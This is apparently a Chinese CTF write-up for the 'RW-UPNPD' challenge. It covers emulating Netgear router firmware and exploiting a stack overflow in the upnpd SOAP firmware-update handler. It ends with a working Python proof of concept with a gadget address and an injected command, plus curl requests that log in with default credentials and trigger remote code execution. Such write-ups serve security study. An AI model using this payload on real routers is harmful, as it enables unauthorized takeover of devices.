默认分类

西湖论剑 RW-UPNPD

前言

monkey哥 牛 帮我解决了很多问题。

解题

给的是固件包,还是直接binwalk -Me 可以得到文件系统,通过题目名提示可以知道问题出在upnpd上。
后来官方给出的提示很明显提示了漏洞:https://blog.grimm-co.com/2022/04/no-hardware-no-problem-emulation-and.html
就在这里了:
2023-02-04T15:49:39.png

我们这反编译结果稍微有点不同但是基本一个意思吧 就是栈溢出。最新版已经修复了,检测了memcpy的长度。
然后就是仿真问题。
最开始我利用系统模式仿真,结果下断点总会断到奇怪的地方。后面侯哥先是patch了一部分upnpd + 弄了libnvram-fake 出来
解决了很多模拟调试的问题。最终使用用户模式仿真调试。

sudo chroot . ./qemu-arm -g 1234 -E LD_PRELOAD="./libnvram-faker.so" usr/sbin/upnpd

然后出现了一个问题,就是发现它没法登录获取session 哪怕我们修改了 nvram中的配置还是不行。
后来调试发现在
2023-02-04T15:54:01.png

缺少文件了。 这里是类似于一个防火墙 限制访问者IP。加上这个文件后 查看libnvram.so中硬编码的数据即可。

2023-02-04T15:54:51.png

然后根据给出的poc进行调试。直接调偏移,缺一个gadget。一眼定位一个:简单说最好是能控制的寄存器并且还能接着当参数使。
2023-02-04T15:55:25.png

然后基本快乐执行命令了:
2023-02-04T15:55:44.png

2023-02-04T15:56:15.png

最后 POC: qemu-user模式打通了:

import base64
overflow= b"*#$^\x00\x00\x08\x00"
overflow += b"A"*0x60
overflow += b"B"*4 # s0
overflow += b"C"*4 # s1
overflow += b"D"*4 # s2
overflow += b"E"*4 # s3
overflow += b"\xde\xad\xbe\xef"
overflow += b"F"*0x38
overflow += b"\x44\xB2\x02\x00"
overflow += b"curl localhost:8080" # command
payload =  b'<?xml version="1.0"?>\r\n'
payload += b'<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">\r\n'
payload += b'<SOAP-ENV:Body>\r\n'
payload += b'UpdateNewFirmware\r\n'
payload += b'<NewFirmware>'
payload += base64.b64encode(overflow)
payload += b'</NewFirmware>\r\n'

# trailer
payload += b"</SOAP-ENV:Body>\r\n"
payload += b"</SOAP-ENV:Envelope>"

print(payload.decode('utf-8'))
#  获取session 看libnvram.so 硬编码了用户名和密码
# curl -sv 'http://127.0.0.1:5000/soap/server_sa' -H 'SOAPAction:urn:NETGEAR-ROUTER:serrice:DeviceConfig:1#SOAPLogin' -d '<Username>admin</Username><Password>password</Password>'
# RCE
# curl 'http://127.0.0.1:5000/soap/server_sa' -H "SOAPAction: urn:NETGEAR-ROUTER:service:DeviceConfig:1#UpdateNewFirmware" -H "Cookie: sess_id=dfa0401385af66b6b6b7e0f21798ae79ef2148698822355b85d889e92f3f8cbbdd88b596d3733095c1c780ed08cce26218b98b2ac7fbd24ca1e9f3126ff34a45" -d @rce.xml

我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=3fwxqtwyln6ss

回复

This is just a placeholder img.